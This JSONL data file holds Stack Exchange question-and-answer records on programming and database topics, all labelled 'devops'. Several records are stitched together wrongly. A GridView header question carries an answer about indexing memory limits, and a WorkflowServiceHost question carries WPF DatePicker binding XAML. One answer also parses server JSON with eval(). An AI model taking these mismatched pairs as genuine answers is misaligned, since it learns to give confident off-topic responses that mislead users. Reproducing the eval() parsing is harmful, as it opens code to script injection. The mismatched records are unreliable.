{"id": "hf_1830e4b20b24", "question": "<p>My data is such that I want to display values for the Employee and the Supervisor for a particular record. Instead of describing it, I'll show you a rough example:</p>\n\n<pre><code>&lt;table&gt;&lt;tr&gt;\n&lt;th colspan=\"3\"&gt;Employee&lt;/th&gt;\n&lt;th colspan=\"3\"&gt;Supervisor&lt;/th&gt;\n&lt;/tr&gt;&lt;tr&gt;\n&lt;th&gt;Name&lt;/th&gt;\n&lt;th&gt;Last Activity&lt;/th&gt;\n&lt;th&gt;Count&lt;/th&gt;\n&lt;th&gt;Name&lt;/th&gt;\n&lt;th&gt;Last Activity&lt;/th&gt;\n&lt;th&gt;Count&lt;/th&gt;\n&lt;/tr&gt;\n&lt;/table&gt;\n</code></pre>\n\n<p>How can I create this for a GridView?  I essentially want 2 rows for the headings, and some of the cells should span more than one column.</p>\n", "question_body": "", "answer": "This is probably happening because you're trying to index too many items at once.  Make sure you're using\nranged queries\n.  If you're already using ranged queries, increasing the\n```\nmem_limit\n```\n, as it suggests, may help.  The\n```\nmerge_block_size\n```\nis based on\n```\nmem_limit\n```\nand the number of documents.\nIf you're curious as to how it generates that number, check out the source.  It's freely available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.209395"}
{"id": "hf_53c23d3f2091", "question": "<p>Is there a way to use Profiler to determine whether a table is being accessed by queries?</p>\n\n<p>I saw an event named <code>Object:Opened</code> (Indicates when an object has been accessed, such as for SELECT, INSERT, or DELETE statements) and <code>Object:Closed</code>, but these do not seem to work.</p>\n\n<p>In particular, I created a simple trace with both Object:Opened and Object:Closed with no filters (except the standard \"Application Name not like 'SQL Profiler'\" filter) and ran <code>SELECT TOP 1 * FROM TableName</code>, but no events were reported.</p>\n\n<p>So, is there a way to use Profiler to determine if a table is being SELECTed from?</p>\n", "question_body": "", "answer": "I'm not seeing those in SQL Server 2005.\nIn my experience, I look at\n```\nSQL:StmtStarting\n```\nAND\n```\nSP:StmtStarting\n```\n- you can filter\n```\nTextData\n```\non\n```\n%TABLE_NAME%\n```\n.  This will even catch things inside SPs when you use\n```\nSP:StmtStarting\n```\n.\nIt's not bulletproof, because it has to use the\n```\nLIKE\n```\nsyntax, but it might get you what you are looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.235068"}
{"id": "hf_7200834e2553", "question": "<p>I wouldn't dare do anything complex in a database without transactions. There is nearly always a simple to use in-built command. But when you start working with other persistent data you just don't get this simple to use transaction support. Some example are</p>\n\n<ul>\n<li>file systems</li>\n<li>web services (none that I've used)</li>\n</ul>\n\n<p>Even in non-persistent data it is often useful to undo a block of work, following an exception. None of the standard data structures you get with a language, support transactions.</p>\n\n<p>What I would like to know is, why are databases the special case?</p>\n\n<p>Are there any useful links to the topic of transactional behavior out-side of databases?</p>\n", "question_body": "", "answer": "Modern file systems do have transactions.  They're just transparent to the end user.\nNTFS, XFS, JFS, EXT3, and ReiserFS all do, just to name a few.\nAnd that's just internal to the file system.  Many OSes also support file locking (see flock(2) in the *NIX world, for instance) with exclusive (write) and shared (read) locks.\nEdit:\nIf you think about it, file systems don't have isolation levels like modern DBs because once you finish reading a file, you traditionally close it if you didn't lock it.  Then you reopen it when you want to write to it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.260272"}
{"id": "hf_dc47bbd509c2", "question": "<p>This problem occurred during daylight saving time change. After the change occurred, we've noticed that our server application started writing into the log incorrect time - one hour ahead which means that .NET caches time zone offset. We had to restart our application to resolve this problem.\nI wrote a simple application to reproduce this problem. When I change the time zone while application is running, DateTime.Now property keeps producing the time in the old time zone.\nDoes anybody know if there is a workaround for this problem apart from restarting the application?</p>\n", "question_body": "", "answer": "The most common recommendation is to store DateTime.UtcNow and, when you want to show localized time to the user, convert to local time accounting for daylight savings.\n.NET provides for calculations involving daylight savings time with the\nDaylightTime\nand\nTimeZone\nclasses, and the\nToLocalTime\nmethod supposedly can convert UTC to local accounting for daylight savings time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.310834"}
{"id": "hf_ba22f0b968bc", "question": "<p>How do you get the current time (not date AND time)?</p>\n\n<p>Example: 5:42:12 PM</p>\n", "question_body": "", "answer": "```\nDateTime.Now.TimeOfDay\n```\ngives it to you as a\n```\nTimeSpan\n```\n(from midnight).\n```\nDateTime.Now.ToString(\"h:mm:ss tt\")\n```\ngives it to you as a\nstring\n.\nDateTime reference:\nhttps://msdn.microsoft.com/en-us/library/system.datetime", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.335706"}
{"id": "hf_1de87d45f5c6", "question": "<p>Short of rolling your own.  There has to be something out there.  FlexLM/FlexNet is overpriced, and does not work for a company like ours.  The same goes for RLM.  There was one product I had hope in called LUM, but IBM no longer licenses the API.  So what else is available?  Or do you have any known way to get LUM?</p>\n\n<p>Please help, I have been reviewing and searching on and off for over a year, and just can't find the right solution.  Maybe everyone just creates their own, we'd rather not.</p>\n", "question_body": "", "answer": "Here's one product -- SoftwarePassport:\nhttp://www.siliconrealms.com/\nThey purchased Armadillo, which used to be an inexpensive software protection and licensing scheme.  The price is higher than it was back then but I'll bet it's still less than FlexLM.\nI do have one suggestion regarding licensing -- as a user and developer of licensed software.  Implement a \"soft cutoff\", so that your customers are not dead in the water if the licensing mechanism fails (or if the license expires).  Provide some way for them to keep running so that there's enough time to remedy the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.376189"}
{"id": "hf_acf54881ef00", "question": "<p>How can I prevent the image tag that calls the associated image from displaying if no image is associated with the record?</p>\n\n<pre><code>&lt;%= image_tag @agent.avatar.url %&gt;\n</code></pre>\n\n<p>...gives me the text \"Missing\" if there is no image associated with that agent.  I want to test to see there is an image available first, then render the above tag if the test returns true.</p>\n\n<p>Better yet, is there anyway for me to specify a default image if no image is specifically provided?</p>\n", "question_body": "", "answer": "Okay, so I got one part of it.\nSpecifying a default image happens in the model\n```\n```\nhas_attached_file :avatar, :default_url => '/images/brokers/agents/anonymous_icon.jpg'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.414763"}
{"id": "hf_a785a2ff3171", "question": "<p>What could the following line possibly mean?</p>\n\n<pre><code>my $x = shift;\n</code></pre>\n", "question_body": "", "answer": "This is usually an idiom for: $x is a local variable assigned to the first parameter passed to the subroutine, although.\n```\n```\nmy ($x) = @_;\n```\n```\nis probably clearer (and it doesn't modify the argument list).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.440229"}
{"id": "hf_fe8b7311fae7", "question": "<p>I'm wondering where the callbacks are (or if there are anything) for animations in a CALayer. Specifically, for implied animations like altering the frame, position, etc. In a UIView, you could do something like this:</p>\n\n<pre><code>[UIView beginAnimations:@\"SlideOut\" context:nil];\n[UIView setAnimationDuration:.3];\n[UIView setAnimationDelegate:self];\n[UIView setAnimationDidStopSelector:@selector(animateOut:finished:context:)];\nCGRect frame = self.frame;\nframe.origin.y = 480;\nself.frame = frame;\n[UIView commitAnimations];\n</code></pre>\n\n<p>Specifically, the <code>setAnimationDidStopSelector</code> is what I want for an animation in a CALayer. Is there anything like that?</p>\n\n<p>TIA.</p>\n", "question_body": "", "answer": "I answered my own question. You have to add an animation using\n```\nCABasicAnimation\n```\nlike so:\n```\n```\nCABasicAnimation* anim = [CABasicAnimation animationWithKeyPath:@\"frame\"];\nanim.fromValue = [NSValue valueWithCGRect:layer.frame];\nanim.toValue = [NSValue valueWithCGRect:frame];\nanim.delegate = self;\n[layer addAnimation:anim forKey:@\"frame\"];\n```\n```\nAnd implement the delegate method\n```\nanimationDidStop:finished:\n```\nand you should be good to go. Thank goodness this functionality exists! :D", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.465554"}
{"id": "hf_83acda2ae5e8", "question": "<p>I've got a small piece of code that is parsing an index value to determine a cell input into Excel.  It's got me thinking...</p>\n\n<p>What's the difference between </p>\n\n<pre><code>xlsSheet.Write(\"C\" + rowIndex.ToString(), null, title);\n</code></pre>\n\n<p>and</p>\n\n<pre><code>xlsSheet.Write(string.Format(\"C{0}\", rowIndex), null, title);\n</code></pre>\n\n<p>Is one \"better\" than the other? And why?</p>\n", "question_body": "", "answer": "Before C# 6\nTo be honest, I think the first version is simpler - although I'd simplify it to:\n```\n```\nxlsSheet.Write(\"C\" + rowIndex, null, title);\n```\n```\nI suspect other answers\nmay\ntalk about the performance hit, but to be honest it'll be minimal\nif present at all\n- and this concatenation version doesn't need to parse the format string.\nFormat strings are great for purposes of localisation etc, but in a case like this concatenation is simpler and works just as well.\nWith C# 6\nString interpolation makes a lot of things simpler to read in C# 6. In this case, your second code becomes:\n```\n```\nxlsSheet.Write($\"C{rowIndex}\", null, title);\n```\n```\nwhich is probably the best option, IMO.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.529950"}
{"id": "hf_fa18e7b8dbc4", "question": "<p>Seems like there are two categories of APIs for websites today.  </p>\n\n<ol>\n<li><p>APIs which allow the functionality of the site to be extended like Facebook, Myspace, etc.  These APIs seem to be very diverse.</p></li>\n<li><p>APIs which allow interaction with the existing site functionality like Twitter, Flickr, etc.  These all claim to be REST based, but are in reality simply \"data over HTTP\".</p></li>\n</ol>\n\n<p>If you were creating a website that allowed both functional extension and outside interaction, what existing APIs would you use as a reference model?</p>\n", "question_body": "", "answer": "I would check out OpenSocial, a movement to create an API Standard for social network sices.  They use REST for this and have a 'user' centric approach.  But this is a very well documented approach which might help for even a site that is not totally Social based.  If you are looking for some internal code implementations look at Drupals hook system and Wordpress.\nhttp://code.google.com/apis/opensocial/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.581959"}
{"id": "hf_bf3db21295da", "question": "<p>I have stored a txt file as string in a database column. Now on one of my aspx page I have a link...I want to open a txt file when the user clicks on this link. How can i read a file from database. I know how to do this using streamreader for a file stored on the disk.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "This is going to take some clarification.\nIf the file is stored as a string in the database, all you have to do is read it into a string and display it in a page.\n```\n```\npublic void Page_Load(object sender, EventArgs e)\n  var text = (from x in dataContext.MyTextTable where x.Id == someId select x.FileText).FirstOrDefault();\n\n  this.textBox.Text = text;\n}\n```\n```\nOkay, here's what you need to do. Pseudocode follows:\nLoad the string from the database\nUse the ToCharArray() method on the string to get an array of chars \nUse the HttpResponse object to Write() the char array to the response stream\nHere's some almost-compilable code:\n```\n```\npublic void Page_Load(object sender, EventArgs e)\n{\n  var text = Repository.GetTextFile(this.FileTextBox.Text).ToCharArray();\n\n  Response.Clear();\n  Response.AddHeader(\"Content-Disposition\", \"attachment; filename=\" & this.FileTextBox.Text);\n  Response.AddHeader(\"Content-Length\", text.Length.ToString());\n  Response.ContentType = \"application/octet-stream\";\n  Response.Write(text, 0, text.length);\n  Response.End();\n}\n```\n```\nI believe the mime type should be that rather than text/plain as the browser may attempt to open the file rather than saving it as an attachment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.619820"}
{"id": "hf_f20807a8de4a", "question": "<p>How to get file name and revision number as a list starting from a designated folder?</p>\n", "question_body": "", "answer": "```\ncvs status\n```\nwill give you that information in the following form per file:\n```\n```\n===================================================================\nFile: test.pas      Status: Up-to-date\n\n   Working revision:    1.4\n   Repository revision: 1.4     /cvsroot/MyModule/test.pas,v\n   Expansion option:    kv\n   Commit Identifier:   86c473d9b385950\n   Sticky Tag:          (none)\n   Sticky Date:         (none)\n   Sticky Options:      (none)\n   Merge From:          (none)\n```\n```\n(output is from CVSNT; Commit ID and Mergepoint will not be shown by vanilla CVS)\nYou can write a script to extract and reformat that information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.644674"}
{"id": "hf_fcc57c3f8257", "question": "<p>I am in the process of researching/comparing CXF and Spring-WS for web services? I need to function both as a provider and a consumer of WS. In a nutshell, I have been told that Spring-WS is more configurable, but CXF is easier to get up and running. This question is subjective, but will help direct me in my research.</p>\n\n<ul>\n<li>What experience do you have with either of these frameworks?</li>\n<li>Have you run into any pitfalls with either framework?</li>\n<li>Have you found any useful features provided by either that is possibly not provided by the other?</li>\n</ul>\n", "question_body": "", "answer": "I think the biggest difference is Spring-WS is\nonly\n'contract-first' whilst I believe CXF is normally 'contract-last'.\nhttp://static.springsource.org/spring-ws/sites/1.5/reference/html/why-contract-first.html\nContract-last starts with Java code, so it is usually easier to get started with.\nHowever, the WSDL it creates tends to be more fragile.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.670777"}
{"id": "hf_d9cf4597e82c", "question": "<p>In <a href=\"https://stackoverflow.com/questions/204467/is-there-a-perl-function-to-turn-a-string-into-a-regexp-to-use-that-string-as-p\">another Stack&nbsp;Overflow question</a> <a href=\"https://stackoverflow.com/users/4727/leon-timmermans\">Leon Timmermans</a> asserted:</p>\n\n<blockquote>\n  <p>I would advice you not to use prototypes. They have their uses, but not for most cases and definitely not in this one.</p>\n</blockquote>\n\n<p>Why might this be true (or otherwise)? I almost always supply prototypes for my Perl functions, and I've never before seen anyone else say anything bad about using them.</p>\n", "question_body": "", "answer": "The problem is that Perl's function prototypes don't do what people think they do.  Their purpose is to allow you to write functions that will be parsed like Perl's built-in functions.\nFirst of all, method calls completely ignore prototypes.  If you're doing OO programming, it doesn't matter what prototype your methods have.  (So they shouldn't have any prototype.)\nSecond, prototypes aren't strictly enforced.  If you call a subroutine with\n```\n&function(...)\n```\n, the prototype is ignored.  So they don't really provide any type safety.\nThird, they're spooky action-at-a-distance.  (Especially the\n```\n$\n```\nprototype, which causes the corresponding parameter to be evaluated in scalar context, instead of the default list context.)\nIn particular, they make it hard to pass parameters from arrays.  For example:\n```\n```\nmy @array = qw(a b c);\n\nfoo(@array);\nfoo(@array[0..1]);\nfoo($array[0], $array[1], $array[2]);\n\nsub foo ($;$$) { print \"@_\\n\" }\n\nfoo(@array);\nfoo(@array[0..1]);\nfoo($array[0], $array[1], $array[2]);\n```\n```\nprints:\n```\n```\na b c\na b\na b c\n3\nb\na b c\n```\n```\nalong with 3 warnings about\n```\nmain::foo() called too early to check prototype\n```\n(if warnings are enabled).  The problem is that an array (or array slice) evaluated in scalar context returns the length of the array.\nIf you need to write a function that acts like a built-in, use a prototype.  Otherwise, don't use prototypes.\nNote:  Perl 6 will have completely revamped and very useful prototypes.  This answer applies only to Perl 5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.696542"}
{"id": "hf_388b53649d7b", "question": "<p>I'm working on developing a regular dump of our database. I'm using <a href=\"http://davidwalsh.name/backup-mysql-database-php\" rel=\"nofollow noreferrer\">this script</a> to create the backup and then feeding it through a regular cron job.  In the end we end up with a text file as well as an email archive of everything.</p>\n\n<p>The problem we've encountered is the size of two of our tables.  They each have 60k fields and grow daily. I'm thinking incremental backup are the best solution for backup, but if it ever came to restoring it... It will be a huge project.</p>\n\n<p>My question is a two parter: </p>\n\n<p>a) Is there a more straight forward way to backup huge tables on a daily basis and, if not, </p>\n\n<p>b) Is there an easy way to restore a backup from daily/weekly incremental backups?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You can use a crob job to execute mysqldump to dump the tables down that you wish to backup.  Then just use a differential backup on that file for the daily backup and do a full backup once a week.  The backup's heavy lifting should be done by your backup engine of choice.\nRestoring a DB is never fun, so regardless it will be a big project.\nhttp://dev.mysql.com/doc/refman/5.0/en/mysqldump.html\nLet me know if this works for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.735573"}
{"id": "hf_82c0c9bf4eea", "question": "<p>Normally, the method of passing workflow parameters to the workflow happens in the call to RunWorkflow.  However, with the WorkflowServiceHost, there is no such method call involved.  You simply call the Open() method on the instance.  Any ideas?</p>\n\n<p>Of course, the implication is that I add more parameters to the service contract, but these parameters are not relevant for the consumers of the service.  They are more like configuration values.  </p>\n", "question_body": "", "answer": "You could set up a OneWayToSource binding on the DatePicker.SelectedDate property which pushes the text value into the ObjectDataProvider MethodParameter.\nStarts by creating the ObjectDataProvider:\n```\n```\n<ObjectDataProvider ObjectType=\"{x:Type theObjectType}\" \n                        MethodName=\"GetDataForDate\"\n                        x:Key=\"odp\">\n        <ObjectDataProvider.MethodParameters>\n            <System:DateTime>2008-01-01</System:DateTime>  \n        </ObjectDataProvider.MethodParameters>\n    </ObjectDataProvider>\n```\n```\nThen bind the SelectedDate property of the DatePicker to the ObjectDataProvider:\n```\n```\n<dg:DatePicker x:Name=\"datePicker\" >\n    <dg:DatePicker.SelectedDate>\n        <Binding Source=\"{StaticResource odp}\"\n                 Path=\"MethodParameters[0]\"   \n                     BindsDirectlyToSource=\"True\" \n                     Mode=\"OneWayToSource\"/>\n    </dg:DatePicker.SelectedDate>\n</dg:DatePicker>\n```\n```\nAnd finally bind the ObjectDataProvider to your ObjectDataProvider:\n```\n```\n<dg:DataGrid x:Name=\"dtgGrid\"\n             ItemsSource=\"{Binding Source={StaticResource odp}}\"\n             AutoGenerateColumns=\"False\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.799655"}
{"id": "hf_c7f276db5815", "question": "<p>I'm looking for Java code that can be used to generate sound at runtime - NOT playback of existing sound files.</p>\n\n<p>For example, what's the best code for generating a sawtooth waveform at 440 Hz for a duration of 2 milliseconds? <b>Source code appreciated!</b></p>\n\n<p>I remember my Commodore 128 had a simple Sound command that took as parameters voice, frequency, waveform, and duration to define a sound.  That worked great in a lot of simple cases (quick and dirty games, experiments with sound, etc).</p>\n\n<p>I am looking specifically for sound-effect like sounds, not music or MIDI (which the <a href=\"http://www.jfugue.org\" rel=\"noreferrer\">JFugue</a> library covers quite well).</p>\n", "question_body": "", "answer": "What you want is probably not a sound API but some kind of synthesizer code, I'm pretty sure you need more low-level sound driver control than Java would allow (it being a interpreted language normally running in a \"sandbox\").\nBut the good news is that a quick search for \"\njava sound synthesizing\n\" on google revealed a plugin called\nJSyn\nwich uses native C methods (wich I guessed was one way of doing it) to generate sound. It seems to be free for non-commercial use and available in commercial licenses as well. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.831769"}
{"id": "hf_0eaacd630f4b", "question": "<p>Can anyone point me to an example of how to use ServletUnit to test JSP's?  Do I need I need to call registerServlet()?  If so, what class name do I pass?</p>\n", "question_body": "", "answer": "You do not need to registerServlet if you are going use the default Jasper compiler. However, I needed Jasper jars and their dependencies on the CLASSPATH. The Maven dependencies I needed to get a basic JSP to compile and render were:\n```\n```\n<dependency>\n  <groupId>tomcat</groupId>\n  <artifactId>jasper</artifactId>\n  <version>3.3.2</version>\n  <scope>test</scope>\n</dependency>\n<dependency>\n  <groupId>tomcat</groupId>\n  <artifactId>jasper-compiler</artifactId>\n  <version>5.5.23</version>\n  <scope>test</scope>\n</dependency>\n<dependency>\n  <groupId>tomcat</groupId>\n  <artifactId>tomcat-util</artifactId>\n  <version>5.5.23</version>\n  <scope>test</scope>\n</dependency>\n<dependency>\n  <groupId>tomcat</groupId>\n  <artifactId>core_util</artifactId>\n  <version>3.3.2</version>\n  <scope>test</scope>\n</dependency>\n```\n```\nI am stuck in a JDK1.4 project,so you may be able to use newer versions. I haven't gotten standard taglib working yet...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.895549"}
{"id": "hf_66be8702fd95", "question": "<p>I want to use the <a href=\"http://nltk.sourceforge.net/index.php/Main_Page\" rel=\"noreferrer\">nltk</a> libraries in c++. </p>\n\n<p>Is there a glue language/mechanism I can use to do this? </p>\n\n<p>Reason:\nI havent done any serious programming in c++ for a while  and want to revise NLP concepts at the same time.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I haven't tried directly calling Python functions from C++, but here are some alternative ideas...\nGenerally, it's easier to call C++ code from a high-level language like Python than the other way around.  If you're interested in this approach, then you could create a C++ codebase and access it from Python.  You could either directly use the external API provided by python [it should be described somewhere in the Python docs] or use a tool like SWIG to automate the C++-to-Python wrapping process.\nDepending on how you want to use the library, you could alternatively create Python scripts which you call from C++ with the\nexec*\nfunctions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.921637"}
{"id": "hf_ddee4862139c", "question": "<p>Is there a way to tell SQL Server to not cache certain types of plans?  For example, if you have a large number of users queries coming from SQL Server Management Studio, is there a way to tell these to not be cached in the plan cache, thus taking up memory and other resources?  Are there other behavioral tweaks that you can do to prevent adhoc queries from taking up resources on a production server?</p>\n", "question_body": "", "answer": "I don't know of any ... but, in general, I think that in most high-performance situations where you'd be worried about this level of detail, you'd probably want a production database that is protected from user-submitted queries in the first place. In production, it's not the little bit of memory for these query plans that will hurt you, it's users submitting queries that issue massive locks and grind your performance to a halt. As a basic architectural issue, you might consider either:\ngetting a replicated offline server that users can hit with their ad-hoc queries; or\nrestricting user interactions with the DB to a set of given stored procedures\nIf you really can't do either of those, and user-submitted query plans are really getting you down, you must be in a pretty unique situation. If you want to edit the question with more details, you might get better suggestions.\n(Sorry I didn't answer the question you actually asked; hopefully someone more knowledgeable than me will do so.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.001719"}
{"id": "hf_4c8dfd8e135a", "question": "<p>I have a folder \"FolderA\" which contains three sub-folders: foldera1 foldera2 and foldera3</p>\n\n<p>I need to write a batch file which resides inside \"FolderA\". It should delete all the folders under \"FolderA\" as a cleanup activity. I don't know the folder names. <code>rmdir</code> does not support wild cards.</p>\n\n<p>Could someone provide a solution for this small problem?</p>\n", "question_body": "", "answer": "something like :\n```\n```\nfor /f %%a in ('dir /ad /b') do (rmdir /S /Q \"%%a\")\nfor /d %%a in (*) do (rmdir /S /Q \"%%a\")\n```\n```\nshould do the trick. The second form allow some wildcard selection for directories.\nTo test it outside a script, in a plain DOS session:\n```\n```\nfor /f %a in ('dir /ad /b') do (rmdir /S /Q \"%a\")\nfor /d %a in (*) do (rmdir /S /Q \"%a\")\n```\n```\nNote the\ndouble quotes\n, in order to be able to delete directories with spaces in them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.027919"}
{"id": "hf_b0d03731eafc", "question": "<p>Is there a way to prompt the user for input during a NAnt build? I want to execute a command that takes a password, but I don't want to put the password into the build script.</p>\n", "question_body": "", "answer": "A solution I have used many times is to have a\nlocal\nconfig file containing such things as passwords, connection strings etc. that are specific to each developer. The NAnt build script will include these settings when building.\nThe local config file does not exist in the version control system so passwords are not exposed. The first time a developer checks out a code base and tries to build he has to create this config file. To make it easy for him, there could be a template file available such as my.config.template containing all the properties that can be customized.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.052611"}
{"id": "hf_e55751b110ca", "question": "<p>We have been using the Client Access ODBC drivers when accessing AS/400 data from our .net applications and SQL DTS/SSIS packages. Are there third party drivers that provide better performance or functionality?</p>\n", "question_body": "", "answer": "I know this is on the other side of the hill, but I've been using\nJTOpen\nas a JDBC (well, Java ...) driver in a previous project. This is an OpenSource version of the\nIBM Toolbox for Java\n. As such it is usually some versions ahead of the IBM release and had fewer bugs. My experience with this driver was very positive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.102547"}
{"id": "hf_d5f63d88dd0c", "question": "<p>I have a simple page that displays a user's email addresses in a table.  I also have a textbox underneath the table and an \"add\" button.  Currently, I am using a simple form post that is handled by a controller that will add the e-mail address to the database and reload the page.  This works fine, but I'm looking to streamline the process by using jQuery and AJAX so that the page doesn't need to be refreshed.</p>\n\n<p>What's the best way to go about doing this?  I imagine I'll have to set up an event listener for the button's click event, perform an AJAX call to a url like \"Email/Add\".  Where I get lost is figuring out what type of information to return from that controller action and how that information can get parsed on the client side to update the table of e-mail addresses.  Are there any good samples of this out there?</p>\n", "question_body": "", "answer": "You should use XML or JSON. I prefer JSON because it's easy to parse back on the javascript side.\nIn the click handler for the add button, make an AJAX call to some MVC path specifies what email has been added. Make the code for that path insert the email specified. Then, just return a result:\n```\n```\n{\n    result: 'SUCCESS',\n    description: 'Email Added.'\n}\n```\n```\nThen, in your AJAX callback, parse the result like so:\n```\n```\n//This function abstracts away the strangeness in dealing with the eval method and returning JSON objects\n//If there is a better way, let me know\nfunction ParseJSON(jsonText) {\n    var ret = null;\n    eval('ret = '+jsonText);\n    return ret;\n}\n\nvar ret = ParseJSON(response.value);;\n\nif(ret.result == 'SUCCESS') {\n    //Add a new TR to your table here\n} else {\n    //Display the error message here\n    // alert(ret.description);\n}\n```\n```\nThe result of 'SUCCESS' means that the server already added the email to the database. So, we just add the row into our table dynamically with JavaScript and you don't have to refresh the page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:42.140028"}
